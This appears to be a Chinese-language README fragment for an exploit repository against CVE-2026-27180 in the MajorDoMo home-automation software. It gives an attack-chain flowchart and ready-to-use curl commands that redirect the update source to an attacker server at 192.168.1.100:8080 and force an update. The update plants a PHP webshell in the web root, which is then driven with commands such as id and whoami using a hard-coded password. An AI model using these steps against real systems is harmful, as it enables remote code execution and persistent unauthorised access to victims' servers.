git clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# 无需 pip install – 仅使用标准库 + argparse

graph TD
    A["攻击者启动恶意 HTTP 服务器\n提供 /master.xml + /archive/master.tar.gz"] --> B["攻击者投毒更新 URL\n通过 GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
    B --> C["攻击者触发更新\nGET /objects/?module=saverestore&mode=force_update"]
    C --> D["MajorDoMo 获取被投毒的 Atom feed"]
    D --> E["下载恶意 master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
    E --> F["使用 tar xzvf ... 解压 tar.gz"]
    F --> G["copyTree() 递归复制文件\n→ poc.php 和 .htaccess 落入 Web 根目录"]
    G --> H["攻击者访问 webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]

    style A fill:#f9d5e5,stroke:#333,stroke-width:2px
    style H fill:#c3e6cb,stroke:#333,stroke-width:2px

python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080

# 1. 投毒更新源
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'

# 2. 触发强制更新
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'

# 示例：
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a